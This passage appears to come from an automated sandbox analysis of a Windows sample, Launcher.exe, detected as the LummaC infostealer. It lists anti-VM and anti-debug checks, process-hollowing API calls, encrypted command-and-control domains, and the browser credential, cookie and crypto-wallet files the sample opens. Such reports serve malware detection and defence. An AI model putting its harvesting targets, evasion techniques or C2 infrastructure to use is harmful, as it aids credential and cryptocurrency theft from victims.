Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Launcher.exe, 00000003.00000003.2184553980.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\Launcher.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_009D4073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_009D4073

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009FC19E mov edi, dword ptr fs:[00000030h]		0_2_009FC19E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009C16A0 mov edi, dword ptr fs:[00000030h]		0_2_009C16A0

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_009E1DBC GetProcessHeap,

0_2_009E1DBC

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009D4073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009D4073
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009D4067 SetUnhandledExceptionFilter,	0_2_009D4067
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009D3CB7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_009D3CB7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009DCDB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009DCDB0

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_009FC19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_009FC19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Launcher.exe

Memory written: C:\Users\user\Desktop\Launcher.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: Launcher.exe, 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\Desktop\Launcher.exe

Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_009E11AC
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_009E16A7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_009E566E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_009E58BF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_009E595A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_009E5BAD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_009E5CE1
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_009E5C0C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_009E5DD3
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_009E5D2C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_009E5ED9

Source: C:\Users\user\Desktop\Launcher.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_009D47EF GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_009D47EF

Source: C:\Users\user\Desktop\Launcher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Launcher.exe, 00000003.00000003.2373792847.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2481834662.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2482847512.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373917806.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000001010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\Launcher.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Launcher.exe, 00000003.00000003.2386728051.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: Launcher.exe, 00000003.00000003.2386728051.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Launcher.exe, 00000003.00000003.2319453403.00000000039D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertym#~FlP
Source: Launcher.exe, 00000003.00000003.2386728051.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Launcher.exe, 00000003.00000003.2318603921.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Launcher.exe	String found in binary or memory: ExodusWeb3
Source: Launcher.exe, 00000003.00000003.2386728051.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: Launcher.exe, 00000003.00000003.2349716206.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Launcher.exe, 00000003.00000003.2349716206.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
